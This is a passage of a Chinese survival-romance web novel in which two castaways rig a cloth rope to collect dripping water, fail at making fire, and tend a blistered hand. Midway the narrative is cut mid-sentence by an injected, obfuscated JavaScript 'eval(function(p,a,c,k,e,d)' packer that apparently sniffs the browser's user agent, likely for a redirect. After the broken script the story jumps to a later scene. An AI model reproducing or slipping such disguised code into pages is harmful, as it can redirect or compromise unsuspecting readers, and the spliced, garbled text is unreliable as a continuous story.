顺着这条小路,他来到他们取水的崖壁。 巨大岩石的旁边有块空地,周围没有扎人的荆棘,足以让人歇脚。 枭风果真在这里,正用新制作的椰壳碗换掉已经接满半下的椰壳,里面盛有弥足珍贵的淡水,闪烁着冷冷的光芒。 王昕舔舐干涩的唇角,心跳开始加速。 枭风见他来了,神色如常地把椰壳递过去:“别太贪,先喝两口缓解一下口渴,这些水是我们整个晚上的量,要省着喝。” 王昕连连点头,用双手捧着椰壳,这时候也顾不上水脏不脏,急不可耐地喝了两大口。 陈腐的淡水,充分滋润了干燥的口腔。 喝完,王昕把椰壳还给枭风,意犹未尽地抹了抹嘴角:“你是怎么做到的。” 枭风指一下岩石缝,答案就在眼前。 王昕向前几步,看见岩缝上挂着一条无比熟悉的布绳。 他低头瞅一眼自己的裤子,再看看布绳,确定了。 水流顺着小山脊往下滴,只靠人力用手接太麻烦。 枭风利用藤蔓把布绳固定在山脊上方,另一端向下垂,水分紧紧贴着纤维,使原本顺着岩石表面往下滴的水全部跟着布绳滴入椰壳里,这样就不会浪费一滴淡水。 “你用它接水,”王昕啧啧出声,“这个办法真不错,我怎么没想到呢。” 你太笨了。 不爱动脑子。 缺乏常识。 枭风把想说的话在脑子里过一遍,嘴上留了情面:“你没有野外生存的经验,其实这个方法很普遍,有点专业素养的特种兵都知道。” 王昕好奇道:“我之前就想问你,你是不是当过兵?” “没有,”枭风用一种很庄严的语气说,“我是水手,一名船长。” “.....”他总有本事把人搞得无语。 王昕偷偷翻白眼。 话说回来,枭风虽然年轻,但他对野外生存的了解比一些军事专家还要多。 “椰壳的容量大概是500毫升,”枭风根据椰壳的大小估计道,“差不多每隔两个小时,我们就有250毫升的水喝。” 王昕瞅一眼滴着水的布绳:“那说明我们的水源还算充足,一晚上可以接很多。” 枭风认为他太乐观,毫不留情的打击:“水流不是时时刻刻都有的,岩石在滴水,是因为前一天下雨了,你想指着岩缝里的水活下去,那你明天看到的可能是一片干涸。” 王昕不甘示弱:“你这么牛逼,你说怎么办。” “节约用水,”枭风把椰壳放在一个稳妥的位置,然后走进丛林,用树枝捅了捅地面,“这里的泥土湿润松动,而且周围的植物郁郁葱葱,说明丛林深处有丰富的水源。” 听闻这话,王昕立马警惕起来,望一眼在他看来阴森恐怖的树林,脸上浮现抗拒之色。 枭风饱含深意地打量他几眼:“你心态出了问题,当你求助于大自然时,你就不能把森林当敌人,你要把它当朋友,主动去了解。” 就像电影里的慢镜头,王昕缓缓转动脑袋,一条眉毛挑得老高:“你说话怎么跟我爸一样,喜欢高谈阔论、引用金句,要是他在,你俩可以掰头一下。” 提起自己的家人,王昕神色微变,一股惆怅情绪在胸口蔓延开来,仿佛被冰冷的现实狠狠一击。 枭风没有跟他斗嘴,弯腰捡起那捆草药,分成两份,自己拿走一份,另一份留在原地。 “你去哪里?”王昕迅速收起悲伤,转换成另一种积极的态度。 枭风捧着椰壳,手提草药,顺着踩出的小径原路返回,边走边回应:“先看一眼信号塔的火势,然后搭建露营地。” “你用什么搭,搭在哪里?” “林子里。” “什么?你不怕有爬...”王昕想说虫或蛇,感觉有点丢脸,及时改变用词,“深山老林的万一有野兽怎么办。” 枭风耐心解释,顺便好心提醒:“在海边,有些虫子比大型野兽还要可怕。” 王昕习惯性反击:“你是指蚊子吗?” 火光不仅可以驱散黑暗,还能驱赶蚊子。 这个道理王昕明白,可是火,他需要火... 从林子里出来,天色昏黑,两人各奔东西。 枭风回到岬角稳定火势,王昕扯了一些棕榈叶回沙滩,打算就这么对付一宿。 王昕是这么想的,沙滩露营既能躲避他最害怕的蛇,又能及时观察海面动态,如果救援队来了可以第一时间给信号。 他觉得枭风的心太大,沦落荒岛就像来旅游似的,一点不慌。 “就不是正常人,琦琦啊琦琦!你哥是牺牲小我救你一命啊..”王昕盘腿坐在沙地上,一边嘀咕一边狠狠地搓着木棍,“要相信古人的智慧,王昕,你可以的!” 然而事与愿违,第二次尝试钻木取火依旧失败,手掌的水疱也跟着变大。 “那家伙是怎么做到的?”王昕十分纳闷,拧过身子朝岬角的火光看去,“难道我缺了什么步骤,不应该啊,课本就是这么描写...不对,小学教材的一篇课文里就有,玛德!全都是骗人的。” 王昕气急败坏,顾不上手疼,急匆匆穿上鞋子朝着火光走去。 他手里攥紧一根粗树枝,若是谈判失败就派上用场。 不多时,岬角后面传来急促的脚步声和喘息声。 枭风没有回头看,趁天边还剩一点微弱的亮光,他忙着固定信号塔,找来两块粗浮木,算计着多久能烧完。 他不在这边睡觉,每隔几个小时会来添木头,确保火焰在夜晚一直燃烧。 浮木的热量和烟雾会持续很长时间,若是有路过的船舶,一定注意得到。 他不像王昕想得那么心大,他只是能够沉着冷静地正视现实,既不盲目乐观,也不悲观失望。 “咳..”一声干脆的咳嗽打破寂静。 枭风微微侧目,语调保持一贯的不冷不热:“你又怎么了。” 王昕把树枝藏在身后,有意收起锋芒:“枭船长,咱俩是一根绳上的蚂蚱。” “咱俩不是。”枭风丢过去一个‘你少跟我套近乎’的眼神。 王昕快速撇下嘴巴:“我的意思是,咱们一起被浪冲到这座岛上,最起码是一条船上的人。” 真奇怪,他俩到现在都没有正式谈过这个问题。 果然是八字不合,多说一句容易毁天灭地。 枭风既没有反驳也没有接话,而是挺直腰,用探究的眼神睨着王昕,等着他说重点。 “救援队不知道什么时候能找到这里,你有..”王昕瞄一眼火势旺盛的信号塔,“你有没有想过,他们来之前该怎么办?” “我时时刻刻都在想,并付诸行动,”枭风略显不耐地歪了下头,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王昕用清澈的棕色眼睛盯着他:“离这么近,你要亲我的手吗?” 枭风恍若无闻:“怎么弄的。” 真是一点幽默感都没有! 王昕扯了扯嘴角:“钻木...呃你管我怎么弄的。” 仅凭俩字枭风就猜到了,没必要戳破,他让王昕坐在岩石上,随即拔出腰间的匕首,放在火上烤。 王昕预感到他要做什么,用商量的语气:“我前段时间打过破伤风,等它自己干瘪不行吗?” “不行。”枭风好像怕人临阵逃脱,自始至终都没有放开王昕的手,等刀子消完毒,他把刀尖对准掌心的水疱。 王昕见不得这种场面,赶紧别开脸。 其实一点不疼,甚至没什么感觉。 枭风只需转动刀柄,轻松挑破两个大水疱,放下刀子后,他拿起脚边的椰壳往王昕手上倒水。 水流清澈细缓,在火光中异常柔美。 “干净的水,“枭风低头说,”做完清洁,用水搅拌草药敷在伤口上,你不会有事的,等会我教你怎么生火,除了钻木取火还有很多方法。” 水是多么的珍贵,想必采集了很久。 王昕感动到想跟枭风一笑泯恩仇:“你总算还有点人情味。” 枭风瞬间打消他的念头:“你死了对我没好处,尸体会招来大批海鸥和螃蟹,挖坑埋了浪费体力,那样我会更口渴。” 王昕:“......” 他对这个男人就不该抱有任何幻想!